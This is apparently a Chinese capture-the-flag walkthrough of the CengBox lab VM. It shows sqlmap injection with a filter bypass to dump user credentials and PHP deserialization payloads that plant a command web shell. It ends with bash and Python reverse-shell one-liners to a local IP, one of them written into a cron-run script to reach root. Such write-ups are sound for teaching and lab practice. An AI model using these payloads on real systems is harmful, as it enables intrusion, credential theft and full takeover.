1.信息收集
输入命令:netdiscover -i eth0 -r 192.168.239.0
,发现181机器存活
输入命令nmap -p- -sV -O -Pn -A 192.168.239.181
,进行端口探测,发现存在22、80、443端口,还发现存在域名ceng-company.vm。
将域名ceng-company.vm绑定在/etc/hosts文件中,再到浏览器上访问ceng-company.vm,发现是Agency网站。
使用命令searchsploit Agency
,搜索存在的历史命令,,查看源码未发现版本信息,逐个尝试未成功。
进行目录扫描:gobuster dir -u http://ceng-company.vm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x .zip,.php,.txt,.html,.rar,.php.bak
,发现存在poem.txt文件,打开未发现可利用
进行域名扫描:gobuster vhost --append-domain -u ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep "Status: 200"
,发现存在dev.ceng-company.vm
浏览器访问,发现是一个登录页面。
抓包,进行sqlmap注入探测,发现存在sql注入漏洞
2.漏洞利用
在获取数据库的时候,发现获取不到,猜测有过滤,看到sqlmap提示字符“>”似乎是由后端服务器过滤,使用–tamper=between进行绕过。
输入命令:sqlmap -r sql.txt --random-agent --batch --level 3 --risk 3 -D MySql --tamper=between -D cengbox -T users -C "login,name,password" --dump
,来获取用户名与密码。
添加评论,发现PHP序列号,猜测存在PHP反序列化漏洞
data=O:4:"Poem":3:{s:8:"poemName";s:4:"1345";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:4:"1345";}s:9:"poemLines";s:3:"789";}
构造POC:O:4:"Poem":3:{s:8:"poemName";s:4:"1345";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/pin1.php";s:8:"poemName";s:19:"<?php phpinfo(); ?>";}s:9:"poemLines";s:3:"789";}
(需要经过url编码),利用成功。
构造命令执行的exp:O:4:"Poem":3:{s:8:"poemName";s:4:"1345";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:21:"/var/www/html/cmd.php";s:8:"poemName";s:27:"<?php system($_GET[123]);?>";}s:9:"poemLines";s:3:"789";}
(需要经过url编码),执行命令成功。
3.提权
反弹shell,bash -c "exec bash -i &>/dev/tcp/192.168.239.131/1234 <&1"
上传pspy64s,进行信息收集,发现存在login.py。
因为是定时执行的任务,目标主机又安装有tcpdump,故使用tcpdump来抓取目标主机的流量,抓取3分钟左右。
将抓取到的流量下载到本地上,并使用strings进行查看,发现用户eric的密码为:3ricThompson*Covid19
切换到eric,往login.py文件中写入反弹,并监听端口,反弹成功,权限为root。
echo "'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.239.131",1478));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'" > login.py